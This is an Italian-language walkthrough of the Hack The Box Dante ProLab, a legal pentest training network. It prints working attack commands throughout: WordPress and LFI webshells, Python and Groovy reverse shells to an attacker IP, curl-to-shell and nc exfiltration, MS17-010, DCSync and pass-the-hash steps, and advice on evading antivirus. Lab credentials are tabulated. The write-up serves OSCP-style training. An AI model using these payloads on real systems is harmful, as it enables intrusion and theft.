HTB Dante ProLab Walkthrough: Pivoting Multi-Subnet, Active Directory Attack Chain & Full Privilege Escalation

HTB Dante ProLab walkthrough completo: foothold WordPress, pivoting multi-subnet, Active Directory, DCSync, xp_cmdshell e privilege escalation Windows/Linux.
- Pubblicato il 2026-04-24
- Tempo di lettura: 12 min
TL;DR — HTB Dante ProLab walkthrough completo: WordPress RCE → Linux foothold → pivot 172.16.1.0/24 → SMB leak → LFI chain → Slack creds → Linux root → Webmin RCE → DC MS17-010 → DCSync → second subnet 172.16.2.0/24 → Jenkins → Domain Admin. Se stai preparando OSCP o OSEP, questo è il lab su cui allenarti prima dell’esame.
Dante ProLab: perché è diverso da un CTF — e perché ti serve #
Prendi una macchina HTB classica. La bucchi, prendi root, fine.
Dante non funziona così.
Hai una singola macchina esposta su internet. Dentro c’è un’intera rete aziendale — tre subnet, dodici host, due Domain Controller, un mix di Linux e Windows. Per arrivare al Domain Admin devi costruire tunnel sopra tunnel, raccogliere credenziali da pcap e file di log, eseguire attack chain AD reali: ASREProast, DCSync via DACL abuse, Pass-the-Hash. E farlo tutto passando attraverso proxy SOCKS che tu stesso hai costruito.
È qui che vedi se sai davvero fare pivoting — o se ti sei solo allenato su macchine isolate.
Questo HTB Dante ProLab walkthrough copre ogni fase: dall’initial access web fino al Domain Admin sulla seconda subnet. Step-by-step, con i comandi reali, le varianti alternative e gli errori tipici che bloccano chi ci lavora per la prima volta.
Cosa costruisci su questo lab:
- Initial access via WordPress, LFI-to-RCE con PHP filter chain, SQL injection, file upload
- Pivoting multi-hop con chisel e ligolo-ng su più subnet
- Active Directory attack chain: enumerazione anonima → ASREProast → DACL abuse → DCSync
- Pass-the-Hash e lateral movement su host Windows
- Linux privilege escalation: Python library hijacking, disk group + debugfs, sudo < 1.8.28 bypass, polkit
- Windows privilege escalation: Unquoted Service Path, SeImpersonatePrivilege (Potato family), service ACL misconfiguration
Dante Attack Chain — Mappa Completa #
[Internet]
│
▼
10.10.110.100 (DANTE-WEB-NIX01)
WordPress RCE (james:Toyota) → Plugin Editor shell
bash_history leak → balthazar:TheJoker12345!
PwnKit (CVE-2021-4034) → root
│
▼ [chisel/ligolo SOCKS tunnel]
172.16.1.0/24
├── NIX02 (.10) LFI→PHP filter chain RCE → wp-config margaret:Welcome1!2@3#
│ Slack export → frank:TractorHeadtorchDeskmat
│ Python lib hijacking (urllib.py) → root
├── NIX03 (.17) pcap → admin:Password6543 → Webmin RCE → root
├── DC01 (.20) MS17-010 (psexec) → SYSTEM
│ employee_backup.xlsx (19 coppie user:pass)
│ net user mrb3n → password in Comment → flag
│ ping sweep → 172.16.2.5 scoperta
├── NIX04 (.12) SQLi blog → MD5 crack ben:Welcometomyblog
│ sudo -u#-1 /bin/bash → root (CVE sudo<1.8.28)
├── WS01 (.13) Forum upload → webshell → Druva privesc → SYSTEM
├── WS02 (.101) FTP dharding:WestminsterOrange5 → hint → spray → WestminsterOrange17
│ IObitUnSvr service ACL → sc.exe binPath → SYSTEM
├── WS03 (.102) Marriage app file upload → blake shell
│ SeImpersonatePrivilege → getsystem → SYSTEM
├── NIX07 (.19) Jenkins Admin_129834765:SamsungOctober102030
│ Groovy console → shell → pspy → ian:VPN123ZXC
│ disk group + debugfs → file read root (flag + shadow)
└── SQL01 (.5) Sophie:TerrorInflictPurpleDirt996655 → xp_cmdshell
SeImpersonatePrivilege → getsystem → SYSTEM
│
▼ [secondo tunnel su DC01 session]
172.16.2.0/24
├── DC02 (.5) ASREProast jbercov → hashcat → myspace7
│ evil-winrm → SharpHound → BloodHound
│ GetChangesAll (DACL abuse) → DCSync → Administrator hash
│ Pass-the-Hash psexec → SYSTEM
│ Jenkins.bat → Admin_129834765:SamsungOctober102030
├── NIX05 (.101) SSH spray → julian:manchesterunited
│ traitor polkit:CVE-2021-3560 → root
└── NIX06 (.6) SSH spray → plongbottom:PowerfixSaturdayClub777
plongbottom in sudoers → sudo su → rootPrerequisiti — Tool e Setup per HTB Dante ProLab #
Tool necessari (tutti su Kali/Parrot di default o installabili):
# Web
wpscan, gobuster/ffuf, sqlmap, burpsuite, cewl
# Pivoting
chisel, ligolo-ng, proxychains4, metasploit (autoroute + socks_proxy)
# AD
bloodhound-python, sharphound, crackmapexec/netexec, impacket-suite, evil-winrm, kerbrute
# Privesc Linux
linpeas.sh, pspy64, traitor
# Privesc Windows
winPEAS, PowerSharpPack, Get-ServiceAcl.ps1
# Password cracking
hashcat, john, hydraContesto iniziale:
- IP entry point:
10.10.110.100(esposto su internet) - Subnet interna 1:
172.16.1.0/24 - Subnet interna 2:
172.16.2.0/24 - Dominio AD:
DANTE.local/DANTE.ADMIN
MODULO 1 — Initial Access: WordPress RCE e FTP Recon #
1.1 Ricognizione iniziale #
sudo nmap -T4 -sC -sV -p- --min-rate=1000 10.10.110.100Porte aperte:
| Porta | Servizio |
|---|---|
| 21 | vsftpd 3.0.3 (anonymous login) |
| 22 | OpenSSH 8.2p1 |
| 65000 | Apache 2.4.41 – WordPress |
⚠️ Nota operativa: la porta 65000 è non-standard — un nmap di default (
-p 1-1000) non la vedrebbe mai. Su Dante come in un pentest reale, esegui sempre full-port scan prima di qualsiasi altra cosa.
Il robots.txt espone già il primo flag nella nota del disallow:
/wordpress DANTE{Y0u_Cant_G3t_at_m3_br0!}1.2 FTP Anonimo #
ftp 10.10.110.100
# login: anonymous / (vuoto)In Transfer/Incoming/todo.txt trovi note operative: WordPress da aggiornare, LFI da rimuovere, password di James da cambiare. Queste note sono hint espliciti sulle vulnerabilità successive.
1.3 WordPress — Enumerazione e password bruteforce #
WPScan è lo strumento standard per l’enumerazione WordPress (vedi la guida su brute force e enumerazione per la metodologia completa):
wpscan --url http://10.10.110.100:65000/wordpress --enumerate u,vp,vtOutput rilevante:
- WordPress 5.4.1 (vulnerabile)
- Utenti:
admin,james - XML-RPC abilitato
- Debug log esposto:
/wp-content/debug.log
Il bruteforce con rockyou su james è lento. Usa cewl per generare un dizionario dal sito stesso:
cewl http://10.10.110.100:65000/wordpress/index.php/languages-and-frameworks > words.txt
wpscan --url http://10.10.110.100:65000/wordpress -U james -P words.txt
# Password: ToyotaPerché funziona: cewl estrae parole dalla pagina — gli admin spesso usano termini legati al contesto del sito. È un vettore sottovalutato.
1.4 WordPress — RCE via Plugin Editor #
Con accesso admin al pannello WordPress hai più vettori di esecuzione codice (vedi WordPress Hacking su HackIta). Il Theme Editor è il più ovvio ma è bloccato da WP 4.9+. Il Plugin Editor no.
Il Theme Editor blocca il salvataggio (protezione di WP 4.9+). Usa invece il Plugin Editor:
/wp-admin/plugin-editor.phpModifica akismet/class.akismet-cli.php, aggiungi:
eval($_POST["pass"]);Accedi alla shell:
http://10.10.110.100:65000/wordpress/wp-content/plugins/akismet/class.akismet-cli.php1.5 Linux Privesc su NIX01 #
Dalla webshell ottieni una shell interattiva, poi raccogli informazioni:
# Linpeas via pipe (nessun file su disco)
curl 10.10.14.X:9999/linpeas.sh | sh | nc 10.10.14.X 9002Trovato in .bash_history di james:
mysql -u balthazar -p TheJoker12345!Login SSH con balthazar:TheJoker12345! — funziona.
PwnKit (CVE-2021-4034) → root immediato:
./PwnKit
whoami # root
cat /home/james/flag.txt
cat /root/flag.txtMODULO 2 — First PrivEsc Linux e Pivoting Layer 1 (172.16.1.0/24) #
2.1 Costruzione del tunnel SOCKS #
Il pivoting è la skill che distingue un pentest reale da un CTF isolato. Per la guida completa su setup e troubleshooting vedi Chisel e tunneling su HackIta e ProxyChains.
Opzione A — chisel (consigliata, più stabile):
# Kali (server)
./chisel server -p 12345 --reverse
# Target (client)
./chisel client 10.10.14.X:12345 R:0.0.0.0:1080:socksOpzione B — metasploit autoroute + socks_proxy:
use multi/manage/autoroute
set session 1
run
use auxiliary/server/socks_proxy
set SRVPORT 9090
run -jConfigura /etc/proxychains4.conf:
socks5 127.0.0.1 1080Usa p come alias di proxychains4 -q per comodità.
2.2 Scan della subnet interna #
# Scan veloce con fscan
fscan -h 172.16.1.0/24 -socks5 127.0.0.1:1080
# Porta estesa (include 5985, 5986 WinRM)
p nmap -sT -Pn -p 21,22,80,135,139,443,445,1433,3306,3389,5985,8080,10000 172.16.1.0/24Host trovati:
| IP | Nome | OS | Note |
|---|---|---|---|
| 172.16.1.5 | DANTE-SQL01 | Windows 2016 | FTP+MSSQL |
| 172.16.1.10 | DANTE-NIX02 | Linux | WordPress, LFI |
| 172.16.1.12 | DANTE-NIX04 | Linux | XAMPP, blog PHP |
| 172.16.1.13 | DANTE-WS01 | Windows 10 | XAMPP, forum |
| 172.16.1.17 | DANTE-NIX03 | Linux | Webmin 10000 |
| 172.16.1.19 | DANTE-NIX07 | Linux | Jenkins 8080 |
| 172.16.1.20 | DANTE-DC01 | Windows 2012 R2 | DC, DANTE.local |
| 172.16.1.101 | DANTE-WS02 | Windows 10 | FTP+WinRM |
| 172.16.1.102 | DANTE-WS03 | Windows 10 | IIS, Marriage App |
2.3 SMB Enumeration anonima #
p crackmapexec smb 172.16.1.0/24
p crackmapexec smb 172.16.1.0/24 -u anonymous -p '' --sharesRisultati rilevanti:
172.16.1.10→ shareSlackMigration(READ) →admintasks.txt: “WordPress gira come root, account di Margaret ha privilegi admin”172.16.1.17→ shareforensics(READ/WRITE) → filemonitor(pcap!)
Analisi del pcap:
file monitor # pcap capture file
wireshark monitor &
# Filtra: http
# Trovi credenziali: admin:Password6543Tecnica ricorrente in OSCP/OSEP: share SMB accessibili anonimamente con pcap dentro sono una delle fonti di credenziali più sottovalutate. Analizza sempre il traffico HTTP non cifrato — basic auth, form POST e cookie di sessione passano in chiaro.
MODULO 3 — Internal Exploitation Chain (Host 172.16.1.x) #
3.1 DANTE-NIX02 (172.16.1.10) — LFI → RCE #
La vulnerabilità di base è una LFI classica tramite path traversal (per approfondire i vettori LFI-to-RCE vedi la guida su LFI su HackIta):
LFI via path traversal:
http://172.16.1.10/nav.php?page=../../../etc/passwdUtenti shell: frank, margaret
Da LFI a RCE — PHP Filter Chain:
La LFI include file PHP causando errori. Usa php://filter per leggere sorgenti:
/nav.php?page=php://filter/convert.base64-encode/resource=../../../var/www/html/wordpress/wp-config.phpDa wp-config.php ottieni: margaret:Welcome1!2@3#
Per RCE senza file upload, usa la PHP filter chain (tool: php_filter_chain_generator):
python3 php_filter_chain_generator.py --chain '<?php system($_POST[0]); ?>'Scrivi una webshell — la richiesta POST deve avere Content-Type: application/x-www-form-urlencoded:
POST /nav.php?page=<chain_lunga>
Content-Type: application/x-www-form-urlencoded
0=echo '<?php eval($_POST["pass"]); ' > /var/www/html/e.phpErrore comune: inviare la POST senza Content-Type corretto restituisce output vuoto. Il parametro
0non viene parsato da PHP come variabile$_POSTse il body non è form-encoded.
Privesc a frank — Slack export:
# Cerca nella home di frank (shell via webshell)
find /home/frank -name "*.zip" 2>/dev/null
# Trova: Test Workspace Slack export...zipNel file JSON dei messaggi Slack privati (percorso: ~/.config/Slack/exported_data/secure/2020-05-18.json) trovi la password reale:
frank : TractorHeadtorchDeskmatPrivesc frank → root — Python Library Hijacking:
# pspy per trovare cronjob nascosti
./pspy64
# Vedi: root esegue ogni minuto:
# python3 /home/frank/apache_restart.py && rm /home/frank/urllib.pyLo script importa urllib dalla directory corrente. Crea /home/frank/urllib.py malevolo:
import os,pty,socket
s=socket.socket()
s.connect(("10.10.14.X",9998))
[os.dup2(s.fileno(),f) for f in(0,1,2)]
pty.spawn("/bin/bash")nc -lvnp 9998
# Aspetta ~1 minuto → shell rootPerché funziona: Python cerca i moduli prima nella directory corrente (
sys.path[0]) poi nei path di sistema. Se hai write nella working directory dello script, vinci. Questa tecnica rientra nella categoria Linux Privilege Escalation — una delle più frequenti in ambienti mal gestiti.
3.2 DANTE-NIX03 (172.16.1.17) — Webmin RCE #
Il pcap aveva credenziali admin:Password6543. Webmin gira sulla porta 10000.
p curl -k https://172.16.1.17:10000/Exploit via MSF:
use exploit/linux/http/webmin_packageup_rce
set RHOSTS 172.16.1.17
set USERNAME admin
set PASSWORD Password6543
set LHOST 10.10.14.X
set SSL true
run
# whoami → rootNota: diversi moduli MSF per Webmin falliscono —
webmin_packageup_rce(≤1.910) è il più affidabile su questa versione.
3.3 DANTE-DC01 (172.16.1.20) — MS17-010 #
Verifica:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 172.16.1.20
run
# [+] Host is likely VULNERABLE to MS17-010Exploitation (più stabile di eternalblue):
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 172.16.1.20
set LHOST 10.10.14.X
set payload windows/meterpreter/reverse_tcp
run
# SYSTEM shellPerché
ms17_010_psexece noneternalblue: il modulo eternalblue opera a livello kernel e su Windows Server 2012 R2 può causare BSOD. Il modulo psexec usa EternalRomance/EternalSynergy — più controllato, più stabile. In un lab puoi rischiare, in un assessment reale no.
Post-exploitation:
net user mrb3n
# Nel campo Comment: password S3kur1ty2020! e flag DANTE{...}Scarica employee_backup.xlsx da C:\Users\katwamba\Desktop\ — contiene ~19 coppie user:password. Sono le credenziali per gli spray sugli altri host.
Scan subnet 172.16.2.0/24 dal DC01:
(for /L %a IN (1,1,254) DO ping /n 1 /w 1 172.16.2.%a) | find "Reply"
# Reply from 172.16.2.5 → DANTE-DC02!MODULO 4 — Active Directory Attack Chain: ASREProast → DCSync → Domain Admin #
4.1 Secondo tunnel verso 172.16.2.0/24 #
DC02 non è raggiungibile direttamente da Kali — è visibile solo da DC01. Devi quindi aggiungere una route sopra la sessione esistente su DC01, creando un secondo hop nel tuo stack di pivoting: Kali → NIX01 → DC01 → DC02.
Aggiungi route MSF dal meterpreter su DC01:
meterpreter > run autoroute -s 172.16.2.0/24Oppure deploy di un secondo chisel da DC01:
start /b chisel.exe client 10.10.14.X:12345 R:0.0.0.0:1088:socks4.2 DANTE-DC02 (172.16.2.5) — ASREProast → DCSync #
Enumera utenti via kerbrute:
p -f proxychains_1088.conf kerbrute userenum -d dante --dc 172.16.2.5 users.txtASREProast — attacco Kerberos che non richiede credenziali di dominio, solo raggiungibilità della porta 88 (per la teoria completa vedi la guida Kerberos: Kerberoasting e ASREProast su HackIta):
p GetNPUsers.py dante/jbercov -no-pass -dc-ip 172.16.2.5 -outputfile dante_asrep.hashCrack hash:
hashcat -m 18200 dante_asrep.hash /usr/share/wordlists/rockyou.txt
# jbercov : myspace7Login WinRM:
p evil-winrm -i 172.16.2.5 -u jbercov -p myspace7BloodHound enumeration:
L’analisi del grafo AD con BloodHound su HackIta è il passo che trasforma credenziali low-priv in un percorso verso il Domain Admin:
# Su evil-winrm
upload SharpHound.exe
.\SharpHound.exe -c All
download 20240101_BloodHound.zipImporta in BloodHound → jbercov ha GetChangesAll sul dominio → DCSync possibile senza essere DA.
La misconfigura GetChangesAll è un caso di DACL abuse in Active Directory — un vettore spesso ignorato in assessment reali.
DCSync (vedi la guida completa su DCSync su HackIta):
p secretsdump.py DANTE.ADMIN/jbercov:myspace7@172.16.2.5
# Administrator:500:aad3b435...:4c827b7074e99eefd49d05872185f7f8:::Pass-the-Hash → SYSTEM su DC02 (tecnica dettagliata nella guida Pass-the-Hash su HackIta):
p psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:4c827b7074e99eefd49d05872185f7f8' \
'DANTE.ADMIN/Administrator@172.16.2.5'In
C:\Users\Administrator\Documents\Jenkins.battroviAdmin_129834765:SamsungOctober102030→ credenziali Jenkins su NIX07.
MODULO 5 — Linux/Windows PrivEsc: Tecniche su Host Rimanenti 172.16.1.x #
5.1 DANTE-WS01 (172.16.1.13) — File Upload RCE + AV Bypass #
Forum PHP vulnerabile a upload non filtrato (CVE noto su “Online Discussion Forum Site 1.0”). Il filtro estensioni è assente. Vedi la guida File Upload Attack su HackIta per i vettori di bypass più comuni.
Carica webshell Godzilla (modalità PHP_XOR_BASE64) invece di un semplice eval($_POST):
Godzilla → Add → PHP → PHP_XOR_BASE64 → password: pass → GeneratePerché Godzilla e non una webshell base: le webshell con
eval($_POST)in chiaro vengono rilevate da qualsiasi AV per firma statica. Godzilla XOR+Base64 cifra il traffico e non ha pattern riconoscibili a riposo. Su WS01 c’è un AV attivo — una<?php system($_GET['cmd']); ?>viene killata al primo accesso.
Post foothold: esegui meterpreter reverse HTTPS per persistenza, poi:
use exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc
set session <id>
run
# SYSTEM5.2 DANTE-NIX04 (172.16.1.12) — SQL Injection → root #
La vulnerabilità è una classica SQL injection su parametro GET — vedi la guida SQL Injection su HackIta per la metodologia completa con sqlmap:
p sqlmap 'http://172.16.1.12/blog/category.php?id=1' --dbs --batch \
--proxy socks5://localhost:1080
# Database: flag → DANTE{wHy_y0U_n0_s3cURe?!?!}Dump membership_users, cracking MD5 di ben → Welcometomyblog
SSH come ben, poi sudo bypass (sudo < 1.8.28):
sudo -u#-1 /bin/bash
# root immediato — il UID -1 viene interpretato come 05.3 DANTE-WS02 (172.16.1.101) — Service ACL Misconfiguration #
FTP bruteforce → dharding:WestminsterOrange5
La nota in FTP dice “stessa password ma numero diverso da 5”. Genera lista e spray SMB:
for i in {0..99}; do echo "WestminsterOrange$i"; done > pass_variations.txt
p crackmapexec smb 172.16.1.101 -u dharding -P pass_variations.txt
# dharding:WestminsterOrange17 ✓WinRM (5985) — vedi Evil-WinRM: guida completa per opzioni avanzate:
p evil-winrm -i 172.16.1.101 -u dharding -p WestminsterOrange17Service ACL misconfiguration su IObitUnSvr:
"IObitUnSvr" | Get-ServiceAcl | select -ExpandProperty Access
# dharding ha ChangeConfig → modifica binPathsc.exe stop IObitUnSvr
sc.exe config IObitUnSvr binPath="cmd.exe /c c:\temp\runme.bat"
sc.exe start IObitUnSvr
# Shell come SYSTEM5.4 DANTE-WS03 (172.16.1.102) — SeImpersonatePrivilege (Potato family) #
File upload non autenticato su “Online Marriage Registration System” — stesso vettore di WS01, ma senza AV attivo. Carica una webshell standard o un payload msfvenom direttamente (vedi File Upload Attack).
L’utente blake ottiene una shell come NETWORK SERVICE con SeImpersonatePrivilege. Su qualsiasi account Windows con questo privilegio, la Potato family funziona — qui usi il metodo più rapido disponibile in MSF:
meterpreter > getsystem
# Named Pipe Impersonation (PrintSpooler variant) → SYSTEM5.5 DANTE-NIX07 (172.16.1.19) — Jenkins → disk group #
Login Jenkins con Admin_129834765:SamsungOctober102030.
Script Console (Groovy) → shell:
String host="10.10.14.X"
int port=9898
String cmd="bash"
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s=new Socket(host,port)
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream()
OutputStream po=p.getOutputStream(),so=s.getOutputStream()
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read())
while(pe.available()>0)so.write(pe.read())
while(si.available()>0)po.write(si.read())
so.flush();po.flush();Thread.sleep(50)
try{p.exitValue();break;}catch(Exception e){}
}
p.destroy();s.close()pspy per credenziali in chiaro:
./pspy64
# CMD: mysql -u ian -p VPN123ZXCSu ian: disk group → debugfs lettura arbitraria:
debugfs /dev/sda5
# debugfs: cat /root/flag.txt
# debugfs: cat /etc/shadowAlternativa root: traitor con
polkit:CVE-2021-3560funziona su quasi tutti gli host Linux del lab — ma è meno formativo di capire il root cause.
5.6 DANTE-SQL01 (172.16.1.5) — MSSQL xp_cmdshell #
Credenziali SQL trovate su NIX06: Sophie:TerrorInflictPurpleDirt996655
Connessione e abuso di xp_cmdshell — tecnica coperta nella guida MSSQL porta 1433 su HackIta:
p mssqlclient.py Sophie:TerrorInflictPurpleDirt996655@172.16.1.5EXEC xp_cmdshell 'whoami'
-- nt service\mssql$sqlexpress
EXEC xp_cmdshell 'net user'Reverse shell via MSF:
use exploit/windows/mssql/mssql_payload
set RHOST 172.16.1.5
set USERNAME Sophie
set PASSWORD TerrorInflictPurpleDirt996655
run
# meterpreter → getsystem → SYSTEM (PrintSpooler)MODULO 6 — Second Pivot e Lateral Movement Finale (172.16.2.x) #
6.1 DANTE-ADMIN-NIX05/06 (172.16.2.101 / 172.16.2.6) — SSH Spray + Sudo PrivEsc #
Le credenziali di julian e plongbottom vengono dall’employee_backup.xlsx trovato su DC01 e dal crack dello shadow di NIX04. Questo è il pattern centrale di Dante: le credenziali si accumulano e si riusano tra host e subnet diverse.
SSH bruteforce con il file combinato di tutte le credenziali raccolte finora:
use auxiliary/scanner/ssh/ssh_login
set USERPASS_FILE combine.txt # user:pass separati da spazio
set RHOSTS 172.16.2.101
set THREADS 10
run
# julian:manchesterunited ✓Su NIX06, plongbottom è nel gruppo sudo → escalation immediata:
sudo su
# root — nessun exploit necessarioLezione: non tutti i privesc richiedono CVE. Un utente in sudoers con password nota è root senza toccare nessun exploit.
Miglioramenti Tecnici — Come Fare Dante Più Stealth e Stabile #
Pivoting con ligolo-ng (alternativa superiore a chisel) #
Rispetto a chisel, ligolo-ng usa un vero TUN interface — niente proxychains, tutto il tool stack funziona nativamente:
# Kali
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
# Target
./agent -connect 10.10.14.X:11601 -ignore-cert
# Su proxy console
session → 1
start --tun ligolo
# Aggiungi route subnet interna
sudo ip route add 172.16.1.0/24 dev ligoloPer più subnet (Dante ne ha 2+) crei un’interfaccia TUN per ogni hop:
# Seconda interfaccia per 172.16.2.0/24
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up
sudo ip route add 172.16.2.0/24 dev ligolo2
# Sul proxy ligolo: start --tun ligolo2 (nel secondo listener)Con ligolo-ng puoi usare
nmap,impacket,evil-winrme qualsiasi tool direttamente — niente prefissoproxychains, niente problemi con UDP.
Errori comuni su Dante #
| Errore | Causa | Fix |
|---|---|---|
| chisel si disconnette | Timeout / firewall | --keepalive 10s |
| bloodhound-python fallisce LDAP | Kerberos non raggiungibile via socks (UDP) | Aggiungi --dns-tcp |
| MSF meterpreter muore | Shell non stabile | Migra processo subito dopo apertura |
| fscan non vede 5985 | Porta non nel preset | Usa lista porte estesa -p |
| evil-winrm lento | Proxychains overhead | Usa -S per SSL se disponibile |
| john non cracka shadow | Formato errato | Specifica --format=md5crypt-long |
Alternative più stealth ai tool usati #
| Tool rumoroso | Alternativa stealth |
|---|---|
| msfvenom payload .exe | Custom loader + shellcode cifrato |
| linpeas.sh (scrive su disco) | curl ... | sh — nessun file su disco |
| SharpHound.exe | bloodhound-python da Kali via proxy |
| Metasploit autoroute | ligolo-ng (meno traffic anomaly) |
Lateral Movement Summary — Credential Map Completa #
Tutte le credenziali raccolte durante il lab, in ordine di scoperta.
| Utente | Password / Hash | Origine | Usata su |
|---|---|---|---|
| james (WP) | Toyota | cewl bruteforce | WordPress admin |
| balthazar | TheJoker12345! | bash_history di james | SSH NIX01 |
| margaret | Welcome1!2@3# | wp-config via LFI | — |
| frank | TractorHeadtorchDeskmat | Slack export (JSON cifrato) | SSH NIX02 |
| admin (Webmin) | Password6543 | pcap monitor.pcap | Webmin NIX03 |
| mrb3n | S3kur1ty2020! | net user Comment DC01 | dominio DANTE.local |
| dharding | WestminsterOrange17 | FTP hint + spray SMB | WinRM WS02 |
| julian | manchesterunited | /etc/shadow crack (john) | SSH NIX04/NIX05/NIX06 |
| ben | Welcometomyblog | MD5 crack da DB blog | SSH NIX04 |
| Admin_129834765 | SamsungOctober102030 | Jenkins.bat su DC02 | Jenkins NIX07 |
| ian | VPN123ZXC | pspy (crontab in chiaro) | NIX07 lateral |
| Sophie | TerrorInflictPurpleDirt996655 | file SQL su NIX06 | MSSQL SQL01 |
| jbercov | myspace7 | ASREProast + hashcat | evil-winrm DC02 |
| Administrator (DC02) | 4c827b7074e99eefd49d05872185f7f8 | DCSync | PTH psexec DC02 |
Pattern ricorrente su Dante: ogni host lascia credenziali per il prossimo. La metodologia vincente è raccogliere tutto, anche quello che sembra inutile.
Conclusione — HTB Dante ProLab: vale davvero la pena? #
Sì, se stai preparando OSCP o OSEP.
Dante non è un lab da finire in un weekend. È una simulazione realistica di pentest su infrastruttura mista, e ti costringe a costruire skill che le singole macchine non ti danno: gestione di tunnel instabili, credential reuse sistematico tra host, Active Directory attack chain end-to-end.
Le cinque cose che questo walkthrough ti deve aver fatto capire:
- Enumeration prima di tutto — SMB anonimo, FTP, pcap, note operative dimenticate in giro. I vettori sono già lì, li devi solo trovare.
- Il pivoting è infrastruttura, non un trucco — senza tunnel stabili (chisel o ligolo-ng) non raggiungi nessuna subnet interna. È la skill più sottovalutata nei lab entry-level.
- Ogni host ha le chiavi del prossimo — la credential map sopra lo dimostra. Raccogli tutto, anche quello che sembra inutile adesso.
- AD è un grafo, non una lista di host — BloodHound ti mostra in 10 secondi il path che impiegheresti ore a trovare manualmente. GetChangesAll su un utente low-priv è DCSync. Senza BloodHound non lo vedresti mai.
- Linux privesc spesso è banale — disk group, sudo vecchio, crontab con library hijacking. Cerca prima le cose semplici, non il kernel exploit.
Se vuoi approfondire i singoli vettori usati in questo walkthrough, parti dalla guida Active Directory attack chain e dalla sezione pivoting con ligolo-ng — sono le due aree dove Dante ti allena di più.
Articolo prodotto da HackIta — hackita.it | Errori, varianti o aggiunte? Scrivici.


